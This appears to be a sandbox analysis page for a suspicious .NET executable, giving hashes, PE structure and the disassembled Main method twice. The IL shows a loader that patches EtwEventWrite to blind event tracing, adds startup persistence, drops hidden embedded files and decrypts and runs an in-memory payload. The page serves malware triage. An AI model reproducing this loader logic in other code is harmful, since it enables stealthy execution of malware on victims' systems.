Suspicious
Suspect

PE Executable
MD5: 55960acbfe37239914e3290f22e3a828
Size: 33.28 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 55960acbfe37239914e3290f22e3a828
Sha1 1d41dd89d9d2058a417238179bd9a181757bdd77
Sha256 08a25e1e926752f15b0e2fc79ce07ec41656b6fb55a3da4c0b579a8dc3face0e
Sha384 f649f6e307a4cc7a7dc35e3de8d1f970827e29e47f11087b39da6c2671fe1b13dacc10e778491ac8366ac931771b9b70
Sha512 97dcf8b2c55f4d18fc06408d0fee3b62a436c592f1101e54340d79af7497a60faddb6b1114507e4e6e2fa9b33d3324ceb76748113f2efb2cd2ad39eddb4f3980
SSDeep 768:uW1EOrJQLfjGiyNUy8qacx0U+E4w/cgnenX6J:UO1niyNIBcxctw/bJ
TLSH 31E2D0466FB59236C8978E3D5AF61AA94234E54646B2CF9F5DC4844E2D83304CE03FB3
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
55960acbfe37239914e3290f22e3a828
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
hcympyndbd.tmp
Full Name
hcympyndbd.tmp
EntryPoint
System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::Main(System.String[])
Scope Name
hcympyndbd.tmp
Scope Type
ModuleDef
Kind
Console
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
hcympyndbd
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
29
Main Method
System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::Main(System.String[])
Main IL Instruction Count
219
Main IL 
call System.IntPtr lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::GetConsoleWindow()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.Int32 lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::SW_HIDE
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::ShowWindow(System.IntPtr,System.Int32)
pop <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 16384
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
leave.s IL_0026: call System.String System.Console::get_Title()
pop <null>
leave.s IL_0026: call System.String System.Console::get_Title()
call System.String System.Console::get_Title()
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::isstartup_function_name(System.String)
stloc.1 <null>
ldloc.1 <null>
brtrue.s IL_003E: leave.s IL_0063
call System.String System.Console::get_Title()
call System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::installstartup_function_name(System.String)
leave.s IL_0063: ldstr "ntdll.dll"
stloc.2 <null>
ldstr Startup Error: 
ldloc.2 <null>
callvirt System.String System.Object::ToString()
call System.String System.String::Concat(System.String,System.String)
call System.Windows.Forms.DialogResult System.Windows.Forms.MessageBox::Show(System.String)
pop <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Void System.Diagnostics.Process::Kill()
leave.s IL_0063: ldstr "ntdll.dll"
ldstr ntdll.dll
call System.IntPtr lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::LoadLibrary(System.String)
stloc.3 <null>
ldloc.3 <null>
ldstr EtwEventWrite
call System.IntPtr lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::GetProcAddress(System.IntPtr,System.String)
stloc.s V_4
call System.Int32 System.IntPtr::get_Size()
ldc.i4.8 <null>
beq.s IL_009E: ldc.i4.1
ldc.i4.3 <null>
newarr System.Byte
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldc.i4 194
stelem.i1 <null>
ldloc.s V_14
ldc.i4.1 <null>
ldc.i4.s 20
stelem.i1 <null>
ldloc.s V_14
br.s IL_00B1: stloc.s V_5
ldc.i4.1 <null>
newarr System.Byte
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldc.i4 195
stelem.i1 <null>
ldloc.s V_15
stloc.s V_5
ldloc.s V_4
ldloc.s V_5
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldsfld System.UInt32 lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::PAGE_EXECUTE_READWRITE
ldloca.s V_6
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldloc.s V_5
ldc.i4.0 <null>
ldloc.s V_4
ldloc.s V_5
ldlen <null>
conv.i4 <null>
call System.Void System.Runtime.InteropServices.Marshal::Copy(System.Byte[],System.Int32,System.IntPtr,System.Int32)
ldloc.s V_4
ldloc.s V_5
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldloc.s V_6
ldloca.s V_6
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldstr xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
stloc.s V_7
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.s V_8
ldloc.s V_8
callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames()
stloc.s V_16
ldc.i4.0 <null>
stloc.s V_17
br IL_01B8: ldloc.s V_17
ldnull <null>
stloc.s V_9
newobj System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::.ctor()
stloc.s V_10
ldloc.s V_10
ldloc.s V_16
ldloc.s V_17
ldelem.ref <null>
stfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldloc.s V_7
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01B2: ldloc.s V_17
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_01B2: ldloc.s V_17
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldstr .exe
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_0169: ldloc.s V_10
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldstr .bat
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_01B2: ldloc.s V_17
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::rhjxjhpnqlrycchahqbhuqdvx(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_9
brtrue.s IL_01A1: ldloc.s V_9
ldloc.s V_10
ldftn System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::<Main>b__0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
stloc.s V_9
ldloc.s V_9
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void System.Threading.Thread::Start()
leave.s IL_01B2: ldloc.s V_17
pop <null>
leave.s IL_01B2: ldloc.s V_17
ldloc.s V_17
ldc.i4.1 <null>
add <null>
stloc.s V_17
ldloc.s V_17
ldloc.s V_16
ldlen <null>
conv.i4 <null>
blt IL_010F: ldnull
ldloc.s V_7
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::rhjxjhpnqlrycchahqbhuqdvx(System.String)
ldstr 1KboPZ6QQyCHA51tZOvSYyyHFAjA3npd0VjQDX/IU/w=
call System.Byte[] System.Convert::FromBase64String(System.String)
ldstr ZZguM4UIB6/iwZZtrvTf+A==
call System.Byte[] System.Convert::FromBase64String(System.String)
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::miiykgkgxzeovpoonmsysesvh(System.Byte[],System.Byte[],System.Byte[])
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::yomeusegenhtxjwbkctisabic(System.Byte[])
stloc.s V_11
ldc.i4.0 <null>
newarr System.String
stloc.s V_12
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
bgt.s IL_0200: ldarg.0
ldc.i4.0 <null>
newarr System.String
br.s IL_0218: stloc.s V_12
ldarg.0 <null>
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_18
ldloc.s V_18
ldc.i4.0 <null>
ldc.i4.s 32
stelem.i2 <null>
ldloc.s V_18
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_12
leave.s IL_021F: ldloc.s V_11
pop <null>
leave.s IL_021F: ldloc.s V_11
ldloc.s V_11
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_13
ldloc.s V_13
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_19
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0255: ret
pop <null>
ldloc.s V_13
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0255: ret
ret <null>
Module Name
hcympyndbd.tmp
Full Name
hcympyndbd.tmp
EntryPoint
System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::Main(System.String[])
Scope Name
hcympyndbd.tmp
Scope Type
ModuleDef
Kind
Console
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
hcympyndbd
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
29
Main Method
System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::Main(System.String[])
Main IL Instruction Count
219
Main IL 
call System.IntPtr lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::GetConsoleWindow()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.Int32 lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::SW_HIDE
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::ShowWindow(System.IntPtr,System.Int32)
pop <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 16384
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
leave.s IL_0026: call System.String System.Console::get_Title()
pop <null>
leave.s IL_0026: call System.String System.Console::get_Title()
call System.String System.Console::get_Title()
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::isstartup_function_name(System.String)
stloc.1 <null>
ldloc.1 <null>
brtrue.s IL_003E: leave.s IL_0063
call System.String System.Console::get_Title()
call System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::installstartup_function_name(System.String)
leave.s IL_0063: ldstr "ntdll.dll"
stloc.2 <null>
ldstr Startup Error: 
ldloc.2 <null>
callvirt System.String System.Object::ToString()
call System.String System.String::Concat(System.String,System.String)
call System.Windows.Forms.DialogResult System.Windows.Forms.MessageBox::Show(System.String)
pop <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Void System.Diagnostics.Process::Kill()
leave.s IL_0063: ldstr "ntdll.dll"
ldstr ntdll.dll
call System.IntPtr lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::LoadLibrary(System.String)
stloc.3 <null>
ldloc.3 <null>
ldstr EtwEventWrite
call System.IntPtr lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::GetProcAddress(System.IntPtr,System.String)
stloc.s V_4
call System.Int32 System.IntPtr::get_Size()
ldc.i4.8 <null>
beq.s IL_009E: ldc.i4.1
ldc.i4.3 <null>
newarr System.Byte
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldc.i4 194
stelem.i1 <null>
ldloc.s V_14
ldc.i4.1 <null>
ldc.i4.s 20
stelem.i1 <null>
ldloc.s V_14
br.s IL_00B1: stloc.s V_5
ldc.i4.1 <null>
newarr System.Byte
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldc.i4 195
stelem.i1 <null>
ldloc.s V_15
stloc.s V_5
ldloc.s V_4
ldloc.s V_5
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldsfld System.UInt32 lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::PAGE_EXECUTE_READWRITE
ldloca.s V_6
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldloc.s V_5
ldc.i4.0 <null>
ldloc.s V_4
ldloc.s V_5
ldlen <null>
conv.i4 <null>
call System.Void System.Runtime.InteropServices.Marshal::Copy(System.Byte[],System.Int32,System.IntPtr,System.Int32)
ldloc.s V_4
ldloc.s V_5
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldloc.s V_6
ldloca.s V_6
call System.Boolean lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldstr xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
stloc.s V_7
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.s V_8
ldloc.s V_8
callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames()
stloc.s V_16
ldc.i4.0 <null>
stloc.s V_17
br IL_01B8: ldloc.s V_17
ldnull <null>
stloc.s V_9
newobj System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::.ctor()
stloc.s V_10
ldloc.s V_10
ldloc.s V_16
ldloc.s V_17
ldelem.ref <null>
stfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldloc.s V_7
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01B2: ldloc.s V_17
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_01B2: ldloc.s V_17
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldstr .exe
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_0169: ldloc.s V_10
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldstr .bat
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_01B2: ldloc.s V_17
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::rhjxjhpnqlrycchahqbhuqdvx(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.s V_10
ldfld System.String lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::name
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_9
brtrue.s IL_01A1: ldloc.s V_9
ldloc.s V_10
ldftn System.Void lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc/<>c__DisplayClass2::<Main>b__0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
stloc.s V_9
ldloc.s V_9
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void System.Threading.Thread::Start()
leave.s IL_01B2: ldloc.s V_17
pop <null>
leave.s IL_01B2: ldloc.s V_17
ldloc.s V_17
ldc.i4.1 <null>
add <null>
stloc.s V_17
ldloc.s V_17
ldloc.s V_16
ldlen <null>
conv.i4 <null>
blt IL_010F: ldnull
ldloc.s V_7
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::rhjxjhpnqlrycchahqbhuqdvx(System.String)
ldstr 1KboPZ6QQyCHA51tZOvSYyyHFAjA3npd0VjQDX/IU/w=
call System.Byte[] System.Convert::FromBase64String(System.String)
ldstr ZZguM4UIB6/iwZZtrvTf+A==
call System.Byte[] System.Convert::FromBase64String(System.String)
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::miiykgkgxzeovpoonmsysesvh(System.Byte[],System.Byte[],System.Byte[])
call System.Byte[] lucxmlsbpdqkgwkkdmipufjvz.mgdgapcwtdmrztnhvqxqftcwc::yomeusegenhtxjwbkctisabic(System.Byte[])
stloc.s V_11
ldc.i4.0 <null>
newarr System.String
stloc.s V_12
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
bgt.s IL_0200: ldarg.0
ldc.i4.0 <null>
newarr System.String
br.s IL_0218: stloc.s V_12
ldarg.0 <null>
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_18
ldloc.s V_18
ldc.i4.0 <null>
ldc.i4.s 32
stelem.i2 <null>
ldloc.s V_18
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_12
leave.s IL_021F: ldloc.s V_11
pop <null>
leave.s IL_021F: ldloc.s V_11
ldloc.s V_11
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_13
ldloc.s V_13
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_19
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0255: ret
pop <null>
ldloc.s V_13
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0255: ret
ret <null>
55960acbfe37239914e3290f22e3a828
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙